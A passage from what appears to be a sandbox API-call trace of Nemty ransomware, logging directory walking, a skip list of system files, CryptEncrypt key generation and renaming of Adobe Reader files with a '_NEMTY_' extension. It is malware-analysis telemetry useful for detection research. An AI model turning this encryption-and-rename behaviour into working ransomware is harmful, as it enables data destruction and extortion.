0xffffffff [0205.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.590] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.590] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.590] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.596] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.596] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0205.596] CloseHandle (hObject=0xffffffff) returned 0 [0205.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0205.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0205.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0205.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0205.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0205.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0205.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.597] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-v._nemty_kgobjgd_")) returned 0 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0205.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0205.597] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17840, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-H", cAlternateFileName="")) returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2=".") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="..") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="...") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="windows") returned -1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="$RECYCLE.BIN") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="rsa") returned -1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="NTDETECT.COM") returned -1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="ntldr") returned -1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="MSDOS.SYS") returned -1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="IO.SYS") returned -1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="boot.ini") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="boot.ini") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="AUTOEXEC.BAT") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="ntuser.dat") returned -1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="desktop.ini") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="CONFIG.SYS") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="RECYCLER") returned -1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="BOOTSECT.BAK") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="bootmgr") returned 1 [0205.597] lstrcmpiW (lpString1="GBK2K-H", lpString2="programdata") returned -1 [0205.598] lstrcmpiW (lpString1="GBK2K-H", lpString2="appdata") returned 1 [0205.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-H", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0205.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-H", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK2K-H", lpUsedDefaultChar=0x0) returned 7 [0205.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-H", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0205.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-H", cchWideChar=7, lpMultiByteStr=0x653ebd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK2K-H", lpUsedDefaultChar=0x0) returned 7 [0205.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-H", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0205.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-H", cchWideChar=7, lpMultiByteStr=0x653ec20, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK2K-H", lpUsedDefaultChar=0x0) returned 7 [0205.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-H", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0205.598] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GBK2K-H", cchWideChar=7, lpMultiByteStr=0x653ec58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GBK2K-H", lpUsedDefaultChar=0x0) returned 7 [0205.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0205.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0205.598] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0205.598] Sleep (dwMilliseconds=0x5) [0205.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e302dd0, dwHighDateTime=0x1d561e8)) [0205.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2e302dd0, dwHighDateTime=0x1d561e8)) [0205.606] GetLastError () returned 0x5 [0205.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0205.606] GetLastError () returned 0x5 [0205.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0205.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0205.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0205.606] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0205.606] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0205.606] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0205.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0205.606] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="7V4/R1eFligis3vT9NFECSDasnFvl8wI0HyanbRuRrf9Goy1WI2e4FK26HeoR2Rn\r\nhbhJybU9L9tv8KpwLYpWLZG75M1PLNS/AXG68o76JAEMGcZVfwhEasShNiRhEI6i\r\nuDApIZWvMjkIeE4HR7R4AMvHuCJeZACMNzgwcS7L736erpuodBSFRxXRrIY2P7wF\r\no5mOjr9p+dBAsZE5Y48hzq9a9xC4Rh6Oht3MuEeebZKxG5/q0oxASOit4zZoiSog\r\nOgbVDodvoYvo4Eut1/pQRZqXRrmDaRd7+VeY2SmpVIplbWUugYpiSu9plquHzLMj\r\nP/UpF+8tyMfr90dC5Ht7Ag==\r\n", pcchString=0x653e91c) returned 1 [0205.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0205.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0205.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0205.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0205.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0205.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0205.607] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk2k-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.607] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0205.607] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0205.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.616] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.616] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.616] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.635] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.635] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.635] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.654] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.654] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.654] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.663] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0205.663] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.663] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0205.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0205.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 